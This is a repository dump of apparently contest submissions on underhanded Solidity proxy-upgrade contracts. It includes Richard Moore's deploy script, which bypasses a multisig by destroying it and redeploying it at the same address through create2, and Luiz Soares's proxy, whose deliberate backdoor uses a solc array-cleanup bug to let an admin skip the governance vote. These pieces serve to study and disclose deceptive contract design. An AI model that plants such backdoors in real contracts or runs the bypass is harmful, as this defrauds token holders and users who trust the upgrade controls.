MyLittleProxyUpgradableContract
SafeProxyable
Safe Target deployed to:
0xb8CE613F7F30885BdB64fa5ebf0cD47A87Ab903f
Multisig deployed to:
0x7b667222416ddf526b62b4b7b293825e5a7f6b86
Added (trusted) owner to Multisig:
0x0123456789012345678901234567890123456789
Multisig Owners (based on events):
0x24a49f967589652390c2b12189E09b3AFeF6c3D3
0x0123456789012345678901234567890123456789
Multisig codehash:
0xbcf9f099eb94a9145020c259a33f13e525711034da4034cde03868f6c19ef98a
Contract (controlled by the multisig) deployed to:
0xf51D92Ac523128321Dc45514BdaBF05238fF1ec2
Message from calling the contract:
"Free hugs! (the good guys)"
======== Hack begins ========
Dangerous Target deployed to:
0x1D031B85508299D786a100f4d00270C1Cf5A81e9
Multisig code:
0x
Note: The multisig is now dead; theoretically upgrades are disabled
Multisig re-deployed to:
0x7b667222416ddf526b62b4b7b293825e5a7f6b86 (same address, same codehash, new state)
Message from calling the contract:
"Exterminate! Exterminate! (the bad guys)"
```
Notes
-----
Google does not allow sending JavaScript by e-mail so, the deploy.js
file has been renamed to a txt file for the purpose of submitting to
USCC, but once finalized on GitHub the filename will be fixed.
Further Reading
---------------
- [Contract Upgrade Wizardry: Rooted](https://blog.ricmoo.com/contract-upgrade-wizardry-rooted-cd5c6726132b)
- [Wisps: The Magical World of Create2](https://blog.ricmoo.com/wisps-the-magical-world-of-create2-5c2177027604)
- [Lurch on GitHub](https://github.com/ricmoo/lurch)
License
-------
MIT License.
================================================
FILE: 2020/submissions_2020/submission8_RichardMoore/Upgradable.sol
================================================
interface ProxyMultisig {
function getTargetAddress() external returns (Proxyable);
}
interface Proxyable {
function doPublicSomething() external view returns (string memory);
}
contract SafeProxyable is Proxyable {
function doPublicSomething() override external view returns (string memory) {
return "Free hugs! (the good guys)";
}
}
contract DangerousProxyable is Proxyable {
function doPublicSomething() override external view returns (string memory) {
return "Exterminate! Exterminate! (the bad guys)";
}
}
contract MyLittleProxyUpgradableContract {
// @TODO: It would be nice if there was a simple way to get
// this from within Solidity. Is there?
bytes32 constant MultisigHash = 0xbcf9f099eb94a9145020c259a33f13e525711034da4034cde03868f6c19ef98a;
ProxyMultisig _owner;
Proxyable _target;
event Debug(bytes32 codehash);
constructor(ProxyMultisig owner) {
// Make sure we are an official multisig contract with EXACTLY our
// bells and whistles, with nothing *underhanded* going on. ;)
require(extcodehash(address(owner)) == MultisigHash, "unsupported multisig");
// Set the owner and target for our proxy
_owner = owner;
_target = _owner.getTargetAddress();
// For debugging, to get the codehash of the multisig;
// could be part of the build/deploy process...
emit Debug(extcodehash(address(_owner)));
}
// Really want access to the codehash
function extcodehash(address addr) public view returns (bytes32 codeHash) {
assembly { codeHash := extcodehash(addr) }
}
// Execute an upgrade
// Anyone can call this. If there was no change in the multisig, this
// will remain unchanged
function upgrade() public returns (address newTarget) {
// Make sure the contract was not self-destructed;
require(extcodehash(address(_owner)) == MultisigHash, "multisig destroyed; no longer upgradable");
// Upgrade to the new target
_target = Proxyable(_owner.getTargetAddress());
}
// Here is a proxied function that anyone can call; there would
// be many of these (or a single fallback that dispatches, but
// for this contest, this is simpler)
function doPublicSomething() external view returns (string memory) {
return _target.doPublicSomething();
}
}
================================================
FILE: 2020/submissions_2020/submission8_RichardMoore/deploy.txt
================================================
const fs = require("fs");
const { solc } = require("@ethersproject/cli");
const { ethers } = require("ethers");
// I use Lurch to make this hack easier to perform, but you
// could use create2 directly
const Lurch = "0x166a6e9b33AD1d7BcC1cf8ac3A6b9E85e8a11828";
(async function() {
// Connect to a dev network (we amp up the polling interval to speed things up)
const provider = ethers.getDefaultProvider("http://localhost:8545");
provider.pollingInterval = 500;
// Create a new account to be the attacker
const signer = ethers.Wallet.createRandom().connect(provider);
console.log(`You (the untrustworth admin):\n ${ signer.address }`);
// Fund the new account
{
const tx = await provider.getSigner().sendTransaction({
to: signer.address,
value: ethers.utils.parseEther("1.0")
});
await tx.wait();
}
// Compile all our sources
const codes = { };
["./Multisig.sol", "./Upgradable.sol"].forEach((filename) => {
try {
solc.compile(fs.readFileSync(filename).toString(), {
optimize: true
}).forEach((code) => {
codes[code.name] = code;
});
} catch (error) {
console.log("ERROR", error);
error.errors.forEach((e) => { console.log(e); });
throw error;
}
});
console.log(`Contracts: \n ${ Object.keys(codes).join("\n ") }`);
// Deploy the safe proxy target
let safeTarget = null;
{
const code = codes.SafeProxyable;
const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);
safeTarget = await factory.deploy();
await safeTarget.deployTransaction.wait();
}
console.log(`Safe Target deployed to:\n ${ safeTarget.address }`);
// Deploy the multisig (notice we use rooted)
// See: https://blog.ricmoo.com/contract-upgrade-wizardry-rooted-cd5c6726132b
let multisig = null;
{
const code = codes.MyLittleProxyMultisig;
const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);
// Normally, we would use this:
//multisig = factory.deploy(safeTarget.address);
// We deploy using rooted (deployed using its deploy script)
const tx = factory.getDeployTransaction(safeTarget.address);
tx.to = Lurch;
const txSent = await signer.sendTransaction(tx);
const receipt = await txSent.wait();
multisig = new ethers.Contract(ethers.utils.hexDataSlice(receipt.logs[1].data, 12), code.interface, signer);
}
console.log(`Multisig deployed to:\n ${ multisig.address}`);
// This would be a trusted party, who people could assume once
// added, you can do no harm and that party *believes* themselves
// to have control over any upgrade process via the multisig
const trustedAdmin = "0x0123456789012345678901234567890123456789";
// Add the trusted admin
{
const txPropose = await multisig.addProposal(1, trustedAdmin);
const receiptPropose = await txPropose.wait();
const txVote = await multisig.voteProposal(receiptPropose.events[0].args.proposalId);
const receiptVote = await txVote.wait();
console.log(`Added (trusted) owner to Multisig:\n ${ trustedAdmin }`);
}
// Verify the owners
{
console.log("Multisig Owners (based on events):");
(await multisig.queryFilter(multisig.filters.AddedOwner())).forEach((event) => {
console.log(" " + event.args.owner);
});
}
// Deploy the upgradable contract
let contract = null;
{
const code = codes.MyLittleProxyUpgradableContract;
const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);
contract = await factory.deploy(multisig.address);
const receipt = await contract.deployTransaction.wait();
console.log(`Multisig codehash: \n ${ receipt.logs[0].data }`);
}
console.log(`Contract (controlled by the multisig) deployed to:\n ${ contract.address }`);
// Test calling the Proxy Contract
{
const value = await contract.doPublicSomething();
console.log(`Message from calling the contract:\n ${ JSON.stringify(value) }`);
}
console.log("======== Hack begins ========");
// Everything seems fine! And with a trusted admin, the contract
// cannot be upgraded without agreement
///////////////
// Begin the hack (continue? We already set up the multisig sneky-like)
// Deploy the dangerous proxy target
let dangerousTarget = null;
{
const code = codes.DangerousProxyable;
const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);
dangerousTarget = await factory.deploy();
await dangerousTarget.deployTransaction.wait();
}
console.log(`Dangerous Target deployed to:\n ${ dangerousTarget.address }`);
// Destroy the multisig; the idea was that any single owner
// could do this, so that anyone could force the contract
// to be un-upgradabvle, ever again...
{
const tx = await multisig.relinquish();
await tx.wait();
const code = await provider.getCode(multisig.address);
console.log(`Multisig code: \n ${ code }`);
if (code === "0x") {
console.log(" Note: The multisig is now dead; theoretically upgrades are disabled");
}
}
// Re-deploy the multisig, resetting the owners and using the dangerous target
{
const code = codes.MyLittleProxyMultisig;
const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);
// We deploy (again) using rooted
const tx = factory.getDeployTransaction(dangerousTarget.address);
tx.to = Lurch;
const txSent = await signer.sendTransaction(tx);
const receipt = await txSent.wait();
// The multisig is still at same address, with the same code (and
// therefore codehash) but new state
}
console.log(`Multisig re-deployed to:\n ${ multisig.address } (same address, same codehash, new state)`);
// Force the contract to upgrade
{
const tx = await contract.upgrade();
await tx.wait();
}
// Test calling the Proxy Contract again...
{
const value = await contract.doPublicSomething();
console.log(`Message from calling the contract:\n ${ JSON.stringify(value) }`);
}
})();
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/LICENSE
================================================
MIT License
Copyright (c) 2018
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/README.md
================================================
# Superior Proxy
It will exploit this bug:
https://solidity.ethereum.org/2020/10/07/solidity-dynamic-array-cleanup-bug/
## Details
This implementation exploits the bug above, since when gets resized down and then up the 3rd position is not initialized.
We downloaded OpenZeppelin Proxy pattern implementation that was using solidity ^0.7.0 and reused the code. Here is the link: https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v3.2.1-solc-0.7/contracts/proxy
We only made a small enhancement to code from OpenZeppelin. And we created 2 new files:
Superior.sol and SuperiorTransparentUpgradableProxy.sol our main simple contract is called PokeToken. It just increments a variable by 1 and it implements IERC20 interface that has only one function: `balanceOf` (it is always returning 10 for tests purposes).
Openzeppelin Proxy code is centralized. Only the admin can upgrade the proxy implementation at anytime. The improvement is adding a vote mechanism that will make it decentralized.
To be able to upgrade we added a democratic vote system, that allows an update after minimum # votes (1,000) posted. If you have a token in the ERC20 implementation, that allows you to vote. It doesn't matter how many tokens you are holding, you can only vote once. Of course you can split your tokens in a bunch of addresses, but that will force you to spend a lot of money in fees. We fixed a minimum value to 1,000 `YES` votes to be able to upgrade (1,000 is the minimum). Administrator can set the value > 1,000. But it should be at least 1,000. The voting period expires or gets cancelled after 7 days. The administrator can restart the process again.
When it reaches 1,000 votes anyone can execute `upgradeTo` function.
Here we are demonstrating the hidden back door which exploits the solidity bug. The adnminstrator deploys the smart contract on testnet using solc 0.7.3 and on mainnet solc 0.7.2. The hidden back door can be exploited on mainnet but not on the testnet.
The smart contract holds an array `voteDetails`. It holds 4 items at the time the smart contract is deployed, the last position holds the value of 1. It is used as an indicator for the `upgradeTo` function that it's the first deployment and the administrator is allowed to execute this function and doesn't need to check votes. After executing `upgradeTo` for the first time, `voteDetails` array is resized to 1, because we don't want anyone to upgrade this contract in the future. That is how the code detects that it was already deployed.
After the initial deployment if we need to upgrade the implementation it can only be done after a voting process. BUT the administrator can by pass the voting process by exploiting the bug. Suppose the developer made a mistake and used 17 decimals instead of 18, now the tokens don't display as expected and upgrade is required. The first step to execute `setUpgradeTo` that will receive the address of the new implementation, and it will set the minimum required # of votes, and it will resize the array to length 3. The array holds the voting information. If the vote process goes as expected anyone can upgrade, but because of the bug (back door) the administrator can upgrade at any time. When the administrator calls `upgradeTo` it doesn't check the # 'Yes' votes, it checks if it's the first deployment because the administrator can execute this function when it's deployed the first time only. Since it's not the first deployment, the vote details array length is 3, and when you increase the size of the array by one, the original value which allows to execute the upgrade is exposed (it looks like it's the first deployment), and the administrator can proceed with the upgrade.
What a Shame.
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/Address.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/Context.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/IERC20.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/Ownable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/PokeToken.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
contract PokeToken is IERC20 {
uint public poke;
mapping (address => uint256) private _balances;
function balanceOf(address account) external view override returns (uint256){
//return _balances[account];
return 10;
}
function increasePoke() payable external virtual {
poke++;
poke++;
poke++;
poke++;
}
function getPoke() external view returns(uint){
return poke;
}
receive () payable external {
//do nothing
}
fallback () payable external{
//do nothing
}
function getBalance() external view returns(uint){
return address(this).balance;
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/PokeTokenV2.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
contract PokeTokenV2 is IERC20 {
uint public poke;
mapping (address => uint256) private _balances;
function balanceOf(address account) external view override returns (uint256){
//return _balances[account];
return 10;
}
function increasePoke() payable external virtual {
poke++;
}
function getPoke() external view returns(uint){
return poke;
}
receive () payable external {
//do nothing
}
fallback () payable external{
//do nothing
}
function getBalance() external view returns(uint){
return address(this).balance;
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/Proxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/Superior.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC20.sol";
contract Superior {
mapping(bytes32 => address) public hasVoted; //stores if address has already voted
IERC20 public ERC20Token; //interface to be able to check if address has some tokens and can vote
/*
* [time stamp,#min votes, time stamp of vote completion, owner address]
*/
uint128[] public voteDetails;
constructor() {
voteDetails.push(0); // # minimum votes
voteDetails.push(0); // # yes votes
voteDetails.push(uint128(block.timestamp)); // # timestamp - it will be used to cancel vote and to generate voteId
voteDetails.push(1); // first deploy
}
function _startSetUpgradeTo(uint128 _minYesVotes) internal {
require(voteDetails.length == 1, "Vote is already opened.");
require(_minYesVotes > 1000, "Minimum vote amount must be greater that 1000.");
voteDetails[0] = _minYesVotes; // at least 1001
voteDetails.push(); // # yes votes - initial value is 0
voteDetails.push(uint128(block.timestamp)); // # timestamp - it will be used to create voteId
}
function generateVoteId() public view returns (bytes32 result){
return keccak256(abi.encode(msg.sender, voteDetails[2]));
}
function vote(bool yes) external {
require(voteDetails.length > 1, "Vote is not opened.");
require(ERC20Token.balanceOf(msg.sender) > 0, "User does not have tokens to vote" );
//check if user has already voted
bytes32 voteId = generateVoteId();
require(hasVoted[voteId] != msg.sender, "User has already voted");
if(yes){
voteDetails[1] = voteDetails[1] + 1;
}
hasVoted[voteId] = msg.sender;
}
function _resetVoteDetails() internal {
uint128[] memory newVoteDetails = new uint128[](1);
voteDetails = newVoteDetails;
}
//If after 7 days vote didn't end, vote process can be ended.
function cancelVote() external {
if(voteDetails[2] + 7 days < block.timestamp){
_resetVoteDetails();
}
}
function _setERC20Token(address _logic) internal {
ERC20Token = IERC20(_logic);
}
//Check if vote is opened, if user is admin and can upgrade for the first time only
//and will return true if number of Yes votes are higher than a minimum value
function _checkUpgradeIsOk(bool isAdmin) internal {
require(voteDetails.length > 1, "Upgrade is closed");
if(isAdmin){
//if it is first deploy, Admin can upgrade
if(voteDetails.length==3){
voteDetails.push();
}
require(voteDetails[3] == 1, "It isnt first deploy");
}
else {
//yes votes are greater than minimum votes values
require(voteDetails[1] > voteDetails[0], "Yes votes didnt reach minimum required value.");
}
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/SuperiorTransparentUpgradableProxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./TransparentUpgradeableProxy.sol";
import "./Superior.sol";
contract SuperiorTransparentUpgradableProxy is TransparentUpgradeableProxy, Superior {
address public newImplementationAddress;
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic) payable TransparentUpgradeableProxy(msg.sender) {
newImplementationAddress = _logic;
}
/**
* @dev New implementation address
*
* NOTE: Only the admin can call this function
*/
function setUpgradeTo(address _newImplementation, uint128 _minYesVotes) external ifAdmin {
//initialize vote details
_startSetUpgradeTo(_minYesVotes);
newImplementationAddress = _newImplementation;
}
/**
* @dev Upgrade the implementation of the proxy.
*
*/
function upgradeTo() external {
//it will revert if upgrade is not allowed
_checkUpgradeIsOk(msg.sender == _admin());
_upgradeTo(newImplementationAddress);
_setERC20Token(newImplementationAddress);
//reset vote details because vote is ended
_resetVoteDetails();
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/TransparentUpgradeableProxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _admin) payable {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal override virtual {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
function getBalance() external view returns(uint){
return address(this).balance;
}
}
================================================
FILE: 2020/submissions_2020/submission9_LuizSoares/contracts/UpgradeableProxy.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Proxy.sol";
import "./Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
